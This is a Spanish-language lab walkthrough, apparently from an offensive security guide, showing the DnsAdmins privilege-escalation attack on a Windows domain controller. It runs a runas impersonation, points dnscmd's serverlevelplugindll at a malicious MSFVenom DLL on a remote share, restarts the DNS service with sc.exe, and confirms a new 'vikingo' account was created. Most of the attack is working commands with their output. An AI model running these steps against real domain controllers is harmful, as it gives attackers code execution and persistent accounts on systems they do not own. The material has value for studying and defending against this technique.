Cargando una dll maliciosa con dnscmd
Impersonando al usuario dnsadmin.user
Primero ejecutamos el siguiente comando desde el equipo First-DC, el cual tiene instalado las caracteristicas de DNS-Server.
PS C:\> runas /netonly /user:spartancybersec.corp\dnsadmin.user "powershell.exe"
Enter the password for spartancybersec.corp\dnsadmin.user:
Attempting to start powershell.exe as user "spartancybersec.corp\dnsadmin.user" ...
Despues de lo anterior, se solicitara la contraseña del usuario y nos aparecera una ventana que estara corriendo como el usuario dnsadmin.user:

¿Que es dnscmd?
La herramienta dnscmd
es una utilidad de Windows diseñada para permitir a los usuarios con privilegios de DnsAdmins gestionar el servidor DNS. Esta utilidad puede ser instalada añadiendo las Herramientas del Servidor DNS a tu sistema, tal como se muestra en la captura de pantalla adjunta. Esta herramienta ofrece una interfaz de línea de comandos versátil y eficiente para administrar y configurar servidores DNS, facilitando tareas como la creación y gestión de zonas DNS, la actualización de registros y la modificación de configuraciones del servidor. Su uso es fundamental para el mantenimiento eficiente y seguro de la infraestructura de DNS en entornos administrados por Windows.

Para realizar el ataque, vamos a utilizar la DLL maliciosa generado con MSFVenom que fue explicada en Generando una DLL maliciosa
Y el comando seria el siguiente y debe ser ejecutado desde la shell del usuario dnsadmin.user:
PS C:\> hostname
First-DC
PS C:\> dnscmd First-DC /config /serverlevelplugindll \\10.0.1.50\shared\adduser2.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
La DLL generado con MSFVenom se encuentra en el servidor USER-SERVER.
Ahora, la próxima vez que se inicie el servicio DNS, nuestra DLL maliciosa debería ser cargada en el proceso dns.exe y se debería ejecutar la logica incluida en la DLL. Por lo tanto, procedamos a reiniciar el servicio DNS con los siguientes comandos:
PS C:\Windows\system32> sc.exe \\First-DC stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS C:\Windows\system32> sc.exe \\First-DC start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1968
FLAGS :
Despues de lo anterior, podemos revisar si fue exitoso el ataque:
PS C:\Windows\system32> net user vikingo
User name vikingo
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/13/2023 11:46:53 PM
Password expires 12/25/2023 11:46:53 PM
Password changeable 11/14/2023 11:46:53 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
Este ataque esta relacionado con la siguiente ruta:
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters

Última actualización
¿Te fue útil?